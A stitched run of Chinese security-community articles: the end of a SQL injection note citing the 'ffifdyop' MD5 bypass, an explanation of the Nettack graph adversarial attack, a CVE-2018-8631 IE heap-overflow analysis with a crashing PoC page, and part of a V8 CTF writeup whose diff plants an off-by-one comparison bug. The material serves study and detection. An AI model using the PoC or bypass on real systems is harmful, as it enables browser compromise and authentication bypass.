也就是找到一个字符串MD5的二进制恰好和字符编码中的某些编码对上了，就可以产生注入，原文作者找到这么一串字符串ffifdyop,md5加密后对应字符编码刚好是'or'<trash>,便产生注入
这里的[ **原文在这**](http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes)
**END**
false注入也许在某些时候会利用，但是对其中并不是很了解，所以在这里进行了一下系统地总结。
同时往往在利用的时候往往不只是一个点，要结合许多姿势。文章后半部分就是总结了一些注入小姿势，并不是很系统有些散，如果有错误欢迎大佬指出。
**参考**
<https://www.exploit-db.com/papers/18263/>
<https://www.secpulse.com/archives/57197.html>
<http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes>
<https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html> | 社区文章 |
# 图对抗攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
深度学习已经在许多领域得到了广泛的应用，如文本、图像、音频、视频等，相应领域的对抗攻击安全客上也有文章介绍过了，包括图像、视频、音频等。事实上，这类数据格式在形式上有着统一而规整的尺寸和维度，它们也被称作欧式结构（Euclidean
Structure）。但是除此之外，现实生活中存在大量的非欧式结构的图数据，例如互联网、知识图谱、社交网络、蛋白质、化合物分子等。尽管深度学习在欧式结构数据上取得巨大的成功，但在图结构数据上，基于神经网络的深度学习表现得并不好。
在图结构数据中，节点与节点之间的边连接可能是均匀分布的，也可能是不均匀的。节点与节点之间没有严格意义上的先后顺序。对于神经网络的输入端而言，这些数据没有固定的输入尺寸。在数学表达上，这些数据与欧式结构数据相比，每一个区块的特征矩阵维度都不是统一的，如下图所示。
由于无法使用统一规整的算子对数据编排，导致CNN等神经网络不能再直接对其进行诸如卷积和池化等操作，也就不再有局部连接、权值共享、特征抽象等性质。近年来Gori等人用RNN来压缩节点信息和学习图节点标签，首次提出图神经网络（Graph
Neural Network，GNN）这一概念。之后大佬提出图卷积网络（Graph Convolutional
Network，GCN），正式将CNN用于对图结构数据建模。GCN通过整合中心节点和邻居节点的特征和标签信息，给出图中每个节点的规整表达形式，并将其输入到CNN中。这样一来GCN就能利用多尺度的信息，组合成更高层次的表达，其有效地利用了图结构信息和属性信息，为深度学习中其他神经网络迁移至图上提供了标准的范式。由此，开启了GNN研究的热潮。
在GNN受到广泛关注的背景下，其安全性如何还没有被探究过。本文将分析并复现图对抗攻击的开山之作—《Adversarial Attacks on Neural
Networks for Graph Data》，这个工作获得了KDD 2018的Best paper，可见其含金量。
## 基础
图上最常用的任务之一就是节点分类：给定一个(带属性的)图和少数节点的类标签，任务是预测剩余节点的标签，如预测社交网络中的用户类型等。虽然节点分类问题在此前已经有多种经典方案可以解决，但是这几年由于图神经网络的领域的研究进展，大家发现图卷积网络在包括节点分类在内的图学习任务中达到了很好的表现。这类的方法厉害的地方在于它们利用图的关系信息来进行分类，而不是仅仅单独考虑实例如节点及其特征，节点之间的关系（边)也被利用来进行学习了，如下所示，表现的是layer0的一个节点是如何通过网络从周围的节点收集信息的。
在之前的一些文章中，我们已经提到神经网络容易受到对抗样本的攻击，那么在图神经网络里面是否也可能存在类似的攻击呢。这是显然的，我们来类比一下，对于计算机视觉中的图像分类任务而言，我们在进行对抗样本攻击时，攻击者需要生成一些扰动，改变某些像素值从而实现攻击，那么在图神经网络里面呢？我们知道它是依靠边、节点信息的，所以攻击者只需要修改这些内容就可以了，那么如何修改，以及怎样才能保证修改最小化的同时而攻击又最有效呢？这就是我们需要研究的地方。
对图神经网络进行攻击的做法，说起来确实很简单，就是改变节点的特征或者图的结构。如下所示，在下图中我们把以节点分类任务为例，将想要错误分类的节点称为目标节点target
node,将攻击者可以控制修改的节点称为攻击节点attacker node，我们对其施加扰动，从而使得目标节点被误分类。
但是这里最明显的一个挑战就在于，我们已经知道，这里存在着关系效应，模型在进行预测时并不是仅仅基于单个实例，而是会考虑实例之间的关系，所以可能我们仅修改某一个是不够的；同时，这些关系信息的传播又会带来级联效应，也就是说我们在修改一个实例的同时也会影响许多其他实例。这个问题是亟待解决的。此外，图像是由连续特征组成的，但是图的结构(节点特征)是离散的，因此在图像上进行的攻击算法如FGSM等这类基于梯度的方法是不适用的，我们的关键就在于怎么找到一个离散域的对抗样本，而且不被人察觉，对于图像我们直接说比较像素值修改前后的数值变化就可以，而对于图，我们如何定义这一点，这也是需要考虑的。
### 节点分类
我们假设要攻击的是一个具有二值节点特征的图上的节点分类任务。我们先来看看形象化表示的例子，下图中节点代表每个空手道练习者，边代表空手道之外这些成员之间的互动。要预测的问题是区分一个给定的成员是忠于Mr.
Hi还是John H。
上图左边是问题的初始条件，右边是可能的解决方案，每个节点都根据联盟进行了分类。该数据集可以用于其他图问题，如无监督学习。我们以图像为类比，节点层次的预测问题类似于图像分割，我们试图标记图像中每个像素的角色。而如果类比于文本，类似的任务就是预测句子中每个单词的词性(例如名词、动词、副词等)。
再来看看形式化的表示，设G=(A,X)是一个属性图，其中 A ∈ {0,1}^N×N 是表现连接的邻接矩阵，X∈{0,1}N
×D表示节点的特征，我们用xv∈{0,1}D表示节点v的D维特征向量，我们假设节点ids是V={1,…,N},特征ids是F={1,…D}
给定有标签节点的V的子集VL(设类标签为C={1,2,…ck})，节点分类任务的目标是学习一个函数g:V->C，这会将v中的每个节点映射到C中的一类。由于对于给定的测试实例预测已经做完了，这些在训练前都已经知道了，这就是一个典型的transductive
learning的场景。
我们关注于使用图卷积层的节点分类，设隐层l+1被定义为
其中
这是输入图G在通过identity matrix In加了自循环后的邻接矩阵。
Wl是可以被训练的层l的矩阵权重
σ(·)是激活函数
在第一层我们有
H(0)=X,也就是说使用节点特征作为输入。用于隐表示H依赖于邻接实例，所有的实例都被couple在一起。我们将GNN作为一个单个的隐层：
其中，
输出的Zvc表示的是将节点v分类为类c的概率。这里，我们使用θ代表一系列参数，比如
最优的参数θ会被通过最小化以下交叉熵的方式以自监督的方式被学习到：
其中cv训练集中给出的v的标签。在训练之后，Z就表示了图中每个实例的类概率。
### 攻击模型
攻击者的目标是在图
上产生一些小的扰动，是其变为
此时的分类性能会下降。
如果修改的是A(0),那我们称之为结构攻击，如果修改的是X(0)，那我们称之为特征攻击
假设我们的目标节点是v0，我们希望改变v0的预测。由于数据非独立同分布的特性，节点v0的输出不仅依赖于节点自身，同时依赖于图中的其他节点。因为我们扰动的范围不限于节点v0，同时我们也可以通过修改其他节点来实现我们的目的。所以我们这里引入攻击节点A，对于G(0)的扰动就受到这些节点的约束，即：
如果目标节点不属于攻击节点，我们就称这种攻击方式为间接攻击，因为v0被没有被直接操作，而如果目标节点属于攻击节点，我们则称这种攻击方式为直接攻击。
为了确保攻击者不会完全地修改图，我们要进行通过预算∆限制允许的改变范围：
我们将符合以上要求的扰动记做：
此时我们的问题可以被定义为：
给定一个图
和一个目标节点v0、攻击节点A
设cold表示基于图G(0)的节点v0的类
上式表达的意思是，当我们找到一个扰动后的可以将v0分类为cnew,并且与cold有最大的距离的图G’。这里实际上是一个双层优化问题。我们也可以进一步简化，我们考虑规避攻击，假设参数是静态的并且是基于原来的图进行学习的，即
### 扰动预算
现在还有个问题，怎么保证对图的扰动不会被注意到？
仅仅考虑预算∆可能是不够的。如果复杂的数据需要一个大的∆，我们仍然想要一个看起来真实的图G’。因此，我们的核心思想是使用那些可以保留图的特定内在性质的扰动。
**保留图结构的扰动**
图结构最显著的特征就是它的度的分布，在实际网络中，度分布往往类似于幂律形状。如果两个网络显示出非常不同的度分布，很容易将它们区分开来。因此，我们的目标是只产生与输入相似的幂律行为的扰动。为此，我们引用幂律分布的统计双样本检验。也就是说，我们使用似然比检验来估计G(0)和G
‘的二度分布是来自同一分布还是来自单个分布。我们首先估计幂律分布p (x)∝x−α的标度参数α(等价于G
‘)。虽然在离散数据的情况下没有精确的和封闭的解来估计α，但是可以导出一个近似表达式，在这里我们将图G转换为
其中dmin表示幂律测试中一个节点所需的最小度
DG则是一个多重集，包括了节点度的列表，其中dvG是G的节点v的度。通过这种方法就可以估计了。
给定尺度参数αx，对样本的对数似然性Dx可以很容易地计算为
利用这些对数似然分数，我们建立了显著性检验，估计两个样本DG(0)和DG
‘是否来自相同的幂律分布(原假设H0)，而不是单独的幂律分布(H1)。也就是说，我们提出了两个相互竞争的假设
经过似然比检验后，最终的检验统计量为
拒绝原假设H0的典型p值(即两个样本都来自不同的分布)是0.05，即在统计学上，在20个案例中，我们拒绝原假设，尽管它成立(第一类错误)。虽然在我们的例子中，我们不能很容易地计算第二类误差，但一般来说，第一类和第二类误差概率呈反比关系。因此，通过选择一个非常保守的对应于高类型I错误的p值，我们可以减少类型II错误的概率。因此，我们将临界p值设为0.95，也就是说，如果我们从相同的幂律分布中抽样二度序列，我们将在95%的情况下拒绝零假设，然后可以根据最初的怀疑来调查数据是否已经受损。另一方面，如果我们修改的图的度序列通过了这个非常保守的检验，我们可以得出这样的结论:度分布的变化是不明显的。
使用χ2分布中的上述p值，我们只接受度分布满足的扰动G’=(A’,X’)，其中度的分布满足
**保持特征统计量的扰动**
由于设计基于共现的统计检验需要对特征上的联合分布进行建模，这对于相关多元二进制数据来说是难以处理的，因此我们将其称为确定性检验。在这方面，将特性设置为0是不重要的，因为它不会引入新的共现。问题是:什么样的特征会被认为是不值得注意的?
为了回答这个问题，我们在来自G(0)的特征的共发生图C=(F,E)上考虑一个概率随机漫步者，其中F是特征的集合，E⊆F ×
F表示到目前为止哪些特征同时出现。我们认为，如果从节点u最初呈现的特征开始的随机步行者到达特征i的概率非常大，那么添加特征i是不明显的。形式上，设
是节点u表现出来的特征集合。我们认为如果满足下式，则表明将特征i加到节点u上是不会被注意到的
其中，dj表示共现图C的度。
也就是说,假设概率步行者从任意特征j∈Su开始，在执行一个步骤之后，它将以概率σ达到我特征i。在我们的实验中，我们简单地选择σ为最大可达概率的一半，即
如果满足上述原则，实际上就会有这两个效果:第一，特征i与u的许多特征(即在其他节点上)同时出现的概率高;当它们被添加时，就不那么明显了。第二，特征i仅与特征j∈Su同时出现，而不是特定于节点u(例如，特征j几乎与所有其他特征同时出现)有低概率;加上“i”将会引人注目。因此，实现了添加特征却不被注意的效果。
使用上述测试，我们只在特征值满足下式时才接收扰动G’
## 生成对抗图
我们使用一种顺序方法，首先攻击代理模型，从而获得被攻击的图。这个图随后被用来训练最终的模型。实际上，这种方法可以直接被视为可迁移性的检查，因为我们并不特别关注使用的模型，而是只关注代理模型。
为了获得一个易于处理的代理模型，却仍然应用到图卷积的思想，我们对模型进行线性化，用一个简单的线性激活函数代替非线性σ(.)，得到
由于W(1)和W(2)是需要学习的参数，因此可以将它们合为单个矩阵W∈RD ×K。
由于我们的目标是最大化目标v0的对数似然的差异(给定一个特定的budget∆)，因此可以忽略由softmax引起的与实例相关的归一化。因此，对数概率可以简单地简化为Aˆ2
XW。因此，如果训练的代理模型(未损坏)输入了带有学习参数W的数据，我们定义了代理损失
并尝试求解
这个问题虽然简单得多，但由于离散域和约束，仍然难以解决。因此，我们使用一个可扩展的贪婪近似方案。为此，我们定义了评分函数来评估从添加/删除一个特征f
=(u,i)或者edgee=(u,v)到任意graphg =(a,X)所得到的额外损失:
近似解的方案伪码如下
**复杂度分析**
候选集的生成(即哪些边/特征允许改变)和score function可以递增计算，并利用图的稀疏性，从而确保可伸缩性。算法的运行时复杂度可以很容易地计算如下
其中thv0表示节点v0在算法运行过程中2-hop邻居的大小。
在每个∆次迭代中，每个攻击者评估潜在的边扰动(最多N)和特征扰动(最多D).对于前者，由于有两个卷积层，需要更新目标的2-hop邻域。假设图是稀疏的，thv0远小于N。每个特征在恒定的时间内进行特征扰动。因为所有的约束都可以在常数时间内检查，所以它们不会影响复杂度。
## 复现及分析
### 分析
先来看看攻击所需的运行时间，根据前面分析的复杂度，在下图中，我们可以看到，我们的算法与图结构的扰动数和考虑的影响节点的数量线性相关。
接下来我们评估两种攻击类型的Nettack的性能:分别是规避攻击和投毒攻击。在下图中，每个点代表一个目标节点。
正如我们所见，直接攻击是非常成功的——即使是在这个棘手的投毒攻击中，几乎每个目标都被错误分类了。而间接的攻击(显示在双线右侧)更加困难。接下来看看在GCN和CLN上的攻击效果
可以看到，不论是哪种情况，我们发现直接攻击比间接攻击更困难。在这些方案中，我们也比较了两种基线Rnd和FGSM，如图所示，Nettack的表现优于两者。
在下表中我们总结了不同数据集和分类模型的结果。
这里给出的是正确分类的目标节点的比例。在我们评估的所有数据集上，邻模型上的对抗扰动都是可迁移到所有三个模型上的。我们看到FGSM的性能比Nettack差，原因之前已经说过的，因为梯度方法对离散数据不是最优的。下图显示了这种情况的原因:当改变A中的元素时，我们绘制了梯度与损失的实际变化之间的关系
通常梯度不能很好地接近损失。而Nettack的一个关键优势是，我们可以精确和有效地计算出ls的变化。
在之前的实验中，我们假设攻击者知道输入图的全部知识，这是假设最强的情况。接下来我们分析在知识有限的情况下的结果:给定一个目标节点v0，我们只提供相对于Cora图的大小增加的子图。我们通过选择距离v0越来越远的节点来构造这些子图，即我们首先选择1跳邻居，然后选择2跳邻居，以此类推，直到我们达到所需的图大小。然后对子图进行扰动。然后，这些扰动被迁移到我们训练GCN的全图中。下图是绘制了攻击者只有关于数据的有限知识的情况下的攻击效果
上图比较了直接攻击和间接攻击。在直接攻击中可以看到，即使只观察到图的10%，仍然可以显著地攻击它。如果攻击者知道整个图，则需要的扰动次数最少。在间接攻击中，我们注意到需要更多的扰动和75%的图大小，攻击才能成功。尽管如此，这个实验攻击者并不需要掌握全部的数据的知识就可以成功发动攻击
### 复现
首先确定后要目标节点，同时训练代理模型
初始化相关参数，这里比较重要的就是扰动次数
开始投毒
我们这里扰动的是特征，可以将其打印出来
接下来我们分别在有扰动和没有扰动的情况下训练GCN
这是没有扰动的
这是有扰动的
然后可以分别将可视化的结果打印出来
可以看到攻击生效了
## 参考
1.<https://distill.pub/2021/gnn-intro/>
2.图神经网络前沿进展与应用
3.Adversarial Attacks on Neural Networks for Graph Data | 社区文章 |
# CVE-2018-8631 IE jscript JsArrayFunctionHeapSort 堆溢出漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
CVE-2018-8631 Microsoft Internet Explorer jscript JsArrayFunctionHeapSort
堆溢出漏洞分析
## 前言
最近IE又爆出一个高危漏洞，根据微软官方描述，该漏洞可以实现远程代码执行，编号CVE-2019-1367。受影响的系统版本包括：Windows
10、Windows 8.1、Windows 7、Windows Server 2012/R2、Windows Server 2008、Windows
Server 2016、Windows Server 2019的IE11版本，Windows Server 2012的IE10版本以及Windows
Server 2008的IE9版本。
从描述信息来看，该漏洞威力巨大，但目前尚未公开可利用的EXP，给广大用户时间及时更新安全补丁。
经初步分析，攻击者可利用该漏洞诱使用户访问恶意网页触发漏洞从而获得当前用户的所有权限，进而安装恶意程序，增加、删除、更改或查看数据，可造成业务瘫痪、敏感数据泄漏等。
漏洞详细信息及修复地址为：
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1367>
本着温旧知新的态度，找到了一个2018年的IE漏洞，简单分析一下，等新漏洞的EXP出来就可以分析新的了。
## 漏洞简述
CVE-2018-8631，微软IE浏览器的一个jscript解析错误导致堆溢出的一个漏洞，利用难度低，危害大，而且影响面广，值得关注。
官方给出的描述：
Microsoft Internet Explorer中存在一个堆缓冲区溢出漏洞。 此漏洞是由于在处理HTML和脚本代码时处理某些对象时出错。
远程攻击者可以通过诱使目标用户打开特制的网页或文档来利用此漏洞。 在最坏的情况下，成功的利用可能在目标用户的安全上下文中导致任意代码执行。
## 漏洞影响软件版本及系统
IE浏览器：
* Microsoft Internet Explorer 9
* Microsoft Internet Explorer 10
* Microsoft Internet Explorer 11
操作系统：
* Microsoft Windows 7
* Microsoft Windows 8.1
* Microsoft Windows RT 8.1
* Microsoft Windows 10
* Microsoft Windows Server 2008
* Microsoft Windows Server 2008 R2
* Microsoft Windows Server 2012
* Microsoft Windows Server 2012 R2
* Microsoft Windows Server 2016
* Microsoft Windows Server 2019
基本是通杀了当下流行的所有系统版本。
## 信息搜集
漏洞触发文件：jscript.dll动态连接库文件
漏洞触发函数：jscript!JsArrayFunctionHeapSort
漏洞触发数据对象：一个基于堆的缓冲区
## 漏洞分析
### 知识背景
Microsoft Internet
Explorer（IE）是一个Web浏览器应用程序，能够呈现静态和动态Web内容，例如显示HTML页面，下载文件，解析各种图像格式，运行不同类型的多媒体内容以及使用各种插件打开不同的文件格式。IE包含对脚本语言JavaScript（可用于与DOM交互）的支持。
文档对象模型（DOM）是一种跨平台，独立于语言的约定，用于表示HTML，XHTML和XML文档中的对象并与之交互。可以根据用于操作DOM的对象的语法和规则来指定和寻址DOM下的对象。在DOM应用程序API中指定了用于编程和与DOM交互的规则。可以在IE中使用JavaScript来访问和修改网页的基础DOM。
HTML，CSS和“编写” DOM的功能一起构成了动态HTML（DHTML）。
在JavaScript中，函数是一流的对象，因为它们可以像其他任何对象一样具有属性和方法。它们与其他对象的区别在于可以调用/调用功能。函数声明的示例如下：
x = function myFunc(theObject) {
theObject.brand = "Toyota";
}
Function.prototype属性表示Function原型对象[1]。 所有JavaScript对象都从原型继承属性和方法。
Function.prototype的属性包括Function.prototype.arguments，Function.prototype.caller，Function.prototype.length，Function.prototype.name和Function.prototype.constructor。
函数调用可以通过多种方式来完成[2]。 如果函数调用前面带有new关键字，则它是构造函数调用。
看起来是创建了一个新函数，但是由于JavaScript函数是对象，因此实际上是创建了一个新对象：
function myFunction(arg1, arg2) {
this.firstName = arg1;
this.lastName = arg2;
}
var x = new myFunction("John", "Doe");
函数的call()方法使用给定的值和参数调用该函数：
func.call(obj, arg1, arg2); //effectively does obj.func(arg1, arg2)
func.call(null, arg1, arg2); //effectively does func(arg1, arg2)
apply()方法类似于call()方法，不同之处在于，参数是以数组格式提供[3]：
func.apply(obj, [arg1, arg2]); //effectively does obj.func(arg1, arg2)
func.apply(null, [arg1, arg2]); //effectively does func(arg1, arg2)
Array对象用于将多个值存储在单个变量中，例如：
var cars = ["Saab", "Volvo", "BMW"];
数组对象实现了许多可以在数组上调用的方法，包括sort()方法[4]。 sort()方法对数组中的元素进行适当排序并返回该数组。
默认的排序顺序是基于将元素转换为字符串，然后比较其UTF-16代码单元值的序列而建立的。 sort()方法的语法如下：
arr.sort([compareFunction])
其中compareFunction参数指定一个定义排序顺序的函数。
如果省略，则根据每个字符的Unicode代码点值，以及每个元素的字符串转换，对数组进行排序。
arguments是函数内部可访问的类似数组的对象，其中包含传递给该函数[5]的参数的值，例如：
function func1(a, b, c) {
console.log(arguments[0]);
// expected output: 1
console.log(arguments[1]);
// expected output: 2
}
func1(1, 2);
### 漏洞复现
我们首先构造一个受害主机，此处使用Windows7 x64 sp1，然后IE版本为
IE8。然后直接使用浏览器打开我们的POC，发现浏览器直接崩溃。（对于POC的分析和模拟攻击后续会介绍）
这里需要注意，在使用IE打开poc时，会提示是否启用ActiveX。
一般情况下对于安全性未知的控件是不要打开的。但根据实际情况，大部分人是直接无视该提示，直接选择启用。
在启用ActiveX控件后，IE直接崩溃：
### 漏洞分析
Microsoft Internet
Explorer的Javascript引擎中存在一个堆缓冲区溢出漏洞。处理具有以下特征的JavaScript代码时，将发生此漏洞：
1. 定义了函数A，该函数利用apply()或call()方法调用sort()方法，并提供“compare”函数作为sort()方法的输入。
2. 函数A的原型设置为另一个函数B中的arguments对象。
3. 使用功能B中的“new”关键字来调用功能A。
4. 函数被调用时带有2个或3个参数。
在这种情况下，将在jscript!JsArrayFunctionHeapSort函数中分配基于堆的缓冲区，其中缓冲区的大小将基于输入数组中元素的数量。如果将函数A原型分配给函数B的arguments对象，则将在jscript！JsArrayFunctionHeapSort函数中输入一个循环，其中将该arguments对象的属性复制到先前分配的基于堆的缓冲区中。如果使用2或3个参数调用功能B，则进入循环。
在循环中，由于输入数组和参数对象的属性数量不匹配，指向分配缓冲区的指针将越界移动，并且在jscript!NameTbl::GetValCore中发生越界写入，导致堆缓冲区溢出。
远程攻击者可以通过诱使目标用户打开特制的网页来利用此漏洞。成功的利用可能导致攻击者在受害用户的安全上下文中执行任意代码，危险性很大。
**代码分析**
所使用的代码版本为jscript.dll version
5.8.9600.19178，逆向jscript!JsArrayFunctionHeapSort如下：
69fcd60f 8b7d10 mov edi,dword ptr [ebp+10h] ;输入对象中的参数个数
69fcd612 81ffaaaaaa0a cmp edi,0AAAAAAAh
69fcd618 0f87e2820000 ja jscript!JsArrayFunctionHeapSort+0x36d (69fd5900)
69fcd61e 8bc7 mov eax,edi
69fcd620 c1e002 shl eax,2
69fcd623 50 push eax
69fcd624 ff15fc40026a call dword ptr [jscript!_imp__malloc (6a0240fc)]
69fcd62a 59 pop ecx
69fcd62b 8bc8 mov ecx,eax
69fcd62d 894dd4 mov dword ptr [ebp-2Ch],ecx
69fcd630 894da8 mov dword ptr [ebp-58h],ecx
69fcd633 85c9 test ecx,ecx
69fcd635 0f84c5820000 je jscript!JsArrayFunctionHeapSort+0x36d (69fd5900)
69fcd63b 6bdf18 imul ebx,edi,18h ;基于输入对象种的参数个数计算出buffer/array的size
69fcd63e 53 push ebx
69fcd63f ff15fc40026a call dword ptr [jscript!_imp__malloc (6a0240fc)];buffer/array内存分配
6789d67a 8b550c mov edx,dword ptr [ebp+0Ch]
6789d67d 8bc2 mov eax,edx ;eax中存放的是arguments对象中的elements，edi中存放输入对象中的参数个数
6789d67f d1e8 shr eax,1
6789d681 3bf8 cmp edi,eax ;在此处，如果arguments对象中的参数个数为2或者3，将进入发生访问冲突的循环
6789d683 0f826b820000 jb jscript!JsArrayFunctionHeapSort+0x35a (678a58f4)
69fcd692 8d5308 lea edx,[ebx+8] ;缓冲区中的指针增加，并在此处输入循环
69fcd695 8b75d8 mov esi,dword ptr [ebp-28h]
69fcd698 8b06 mov eax,dword ptr [esi]
69fcd69a 8bfc mov edi,esp
69fcd69c 52 push edx
69fcd69d 51 push ecx
69fcd69e 8b706c mov esi,dword ptr [eax+6Ch]
69fcd6a1 8bce mov ecx,esi
69fcd6a3 ff153843026a call dword ptr [jscript!__guard_check_icall_fptr (6a024338)]
69fcd6a9 8b4dd8 mov ecx,dword ptr [ebp-28h]
69fcd6ac ffd6 call esi ;调用jscript!NameTbl::GetVal，该函数调用了jscript!NameTbl::GetValCore
69fcd6d6 41 inc ecx ;increment counter
69fcd6d7 8b550c mov edx,dword ptr [ebp+0Ch]
69fcd68b 894ddc mov dword ptr [ebp-24h],ecx ss:0023:04eaa7f0=00000000
69fcd68e 3bca cmp ecx,edx ;循环
69fcd690 736a jae jscript!JsArrayFunctionHeapSort+0x113 (69fcd6fc)
jscript!NameTbl::GetValCore函数:
678ba099 8b4d0c mov ecx,dword ptr [ebp+0Ch]
678ba09c 8b02 mov eax,dword ptr [edx]
;缓冲区发生溢出或者进行越界写
678ba09e 8901 mov dword ptr [ecx],eax ds:0023:0be09008=????????
**POC代码**
此漏洞已经有公开的exp，故此处直接给出poc的具体代码。
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=7">
<title>Trend Micro Security Research PoC</title>
</head>
<body>
<script language="Jscript.Encode">
x = function () {
Array.prototype.sort.apply(this, [function(a, b) { return b - a;}]);
}
y = function () {
x.prototype = arguments;
new x();
}
new y("trend", 4, 2);
</script>
</body>
</html>
### 攻击场景分析
根据上面的分析，如果攻击者企图进行攻击，需要受害者打开一个特制的文档，而这种实现一般是通过钓鱼或者发送恶意邮件，诱骗受害者主动打开攻击者构造的恶意文档，实现攻击。如今的钓鱼网站一般都是只要打开链接就自动访问并下载、打开攻击者构造的文档，也就是说，只要访问了攻击者的恶意链接，就会中招。
虽然现在大家的网络安全意识普遍比之前有了显著的提高，但对于一些高级的社会工程攻击仍然不具备良好的辨别能力，因此认定该漏洞仍然具有较高的影响力，需要引起重视。
而且在一些政企部门，使用的操作系统相对较为老旧，版本更新停滞，软件的安全更新得不到足够的重视，在现如今APT攻击手段成熟的情况下，很容易遭受恶意组织的攻击。
### 流量分析
此处简单模拟了一下访问恶意网站然后下载恶意文档的流程，进行抓包分析：
从数据包中可以明显看出，受害者下载下来攻击者构造的恶意文档后，文档中的js代码进行了执行，从而触发漏洞，导致浏览器崩溃。
### 检测思路
了解攻击的目的是为了更好的防御，下面就根据上面的分析过程简单说一下防御思路：
为了检测此漏洞，检测设备必须监控传输的HTML页面的各种元素，并且能够解析JavaScript代码。但是我们容易发现，根据上面的分析记过，由于此漏洞的特殊性，无法可靠地检测基于此漏洞的所有攻击，也就是入侵检测中常说的通防。那这种情况下，我们只能是根据已经发现的EXP和POC进行特征提取，然后进行定向防御。
通过之前的分析我们知道，针对此漏洞的恶意HTML文件可能包含具有以下功能的脚本代码：
1. 定义了一个函数x，该函数利用apply()或call()方法调用sort()方法，并提供“compare”函数作为sort()方法的输入，例如，
x = function () {
Array.prototype.sort.apply(this, [function(a, b) {return b - a;}]);
}
2. 将函数x的原型设置为另一个函数y中的arguments对象，并使用“new”关键字调用函数x。例如：
y = function () {
x.prototype = arguments;
new x();
}
3. 函数y由2或3个参数调用。例如：
y("trend", 4, 2);
上述条件均为攻击流量中需要包含的，如果在数据包中同时检测到上述所有条件，则应该怀疑该流量为攻击流量，甚至攻击正在进行。
但需要注意，由于易受攻击的代码中相互依赖关系的复杂性，可能会存在触发此漏洞的其他向量。同样，由于脚本语言的性质，攻击者也可能使用各种脚本技术来混淆代码的真正意图，而且当下的混淆技术极容易实现。此外必须以区分大小写的方式对JavaScript脚本代码中的对象和方法名称进行字符串匹配。上述思路只是可能可行的一种检测思路，虽然不能通防，但总比不防的好一点。
## 总结
针对该漏洞的分析基本到此为止，也是为分析CVE-2019-1367做一个简单的预热。需要引起重视的是，目前针对浏览器的攻击层出不穷，而且影响力越来越大，伴随着社会工程的成熟，利用浏览器漏洞进行更大范围攻击的攻击技术将快速发展。为了安全着想，还是希望广大用户可以及时更新安全补丁，宁可麻烦一点，总比受到损失的好。
## 参考链接
[1] Function.prototype, <https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype>
[2] Invoking a function,
<https://www.w3schools.com/js/js_function_invocation.asp>
[3] apply(), <https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply>
[4] sort(), <https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort>
[5] arguments object, <https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments> | 社区文章 |
# qwb_groupjs
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0 环境搭建
git reset --hard 7.7.2
git apply < ../diff.patch
gclient sync
./tools/dev/gm.py x64.release
./tools/dev/gm.py x64.debug
题目中给的是build.sh文件
u18@u18-oVirt-Node:~/v8/
#!/bin/bash
# needs depot_tools in the path
# git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
# export PATH="$PATH:/path/to/depot_tools"
# https://chromium.googlesource.com/chromium/src/+/master/docs/linux_build_instructions.md
fetch --nohooks chromium
cd src
build/install-build-deps.sh
gclient runhooks
# https://www.chromium.org/developers/how-tos/get-the-code/working-with-release-branches
git fetch --tags
git checkout f3ee5ef941cb <======
gclient sync
gn gen out/Default
pushd v8
git apply ../diff.patch
popd
autoninja -C out/Default chrome#
## 1 漏洞分析
diff --git a/src/compiler/machine-operator-reducer.cc b/src/compiler/machine-operator-reducer.cc
index a6a8e87cf4..164ab44fab 100644
--- a/src/compiler/machine-operator-reducer.cc
+++ b/src/compiler/machine-operator-reducer.cc
@@ -291,7 +291,7 @@ Reduction MachineOperatorReducer::Reduce(Node* node) {
if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M < x => false
if (m.right().Is(0)) return ReplaceBool(false); // x < 0 => false
if (m.IsFoldable()) { // K < K => K
- return ReplaceBool(m.left().Value() < m.right().Value());
+ return ReplaceBool(m.left().Value() < m.right().Value() + 1);
}
if (m.LeftEqualsRight()) return ReplaceBool(false); // x < x => false
if (m.left().IsWord32Sar() && m.right().HasValue())
首先拿到的patch 脚本如上图所示
pacth的地方是上面的对应源码中下面的位置
src/compiler/machine-operator-reducer.cc
这个函数应该是优化时进行节点的简化用的. 比如x < 0会被替换成false节点
这里patch的地方是’小于号’进行比较的时候, 将x < y的结果替换成x<y+1的结果(影响优化的时候的结果)
## 2 对漏洞的一些尝试
写的相对比较杂
#### 2.1
起初的是利用下面的poc进行尝试
function foo(num)
{
let v = 1;
return (v<num);
}
const MAX_ITERATIONS = 100000;
print(foo(1));
print(foo(1));
// for(var i=0;i<MAX_ITERATIONS;i++)
// {
// foo(1);
// }
%OptimizeFunctionOnNextCall(foo);
print(foo(1));
想法是,本来1<1是false结果,但是根据上面的patch脚本会优化成1<1+1,优化的时候会变成True节点,从而在优化图上有一定的体现
程序的运行结果如下图所示
Concurrent recompilation has been disabled for tracing.
false
false
--------------------------------------------------- Begin compiling method foo using TurboFan图
--------------------------------------------------- Finished compiling method foo using TurboFan
false
全部输出false
看一下优化图
可以看到speculativeNumberLessThan节点还是存在的, 并没有被替换
原因是我们将一个参数传进来作比较,优化器起初并不知道我们传得是Uint32(上面的patch针对的是Uint32)
#### 2.2
针对上面的情况, 尝试将参数转化成局部变量
Poc2.js
function foo()
{
let v = 1;
var num = 1;
return (v<num);
}
const MAX_ITERATIONS = 100000;
print(foo());
print(foo());
// for(var i=0;i<MAX_ITERATIONS;i++)
// {
// foo(1);
// }
%OptimizeFunctionOnNextCall(foo);
print(foo());
运行的结果如下
Concurrent recompilation has been disabled for tracing.
false
false
--------------------------------------------------- Begin compiling method foo using TurboFan
--------------------------------------------------- Finished compiling method foo using TurboFan
false
优化图谱(TyperLowering)
在TyperLowering 阶段优化图中已经没有了LessThan节点 并被替换成了false节点(上面的23号节点)
按照我的想法,应该是True节点呀….
调一下源码,看一下对应位置是如何优化的
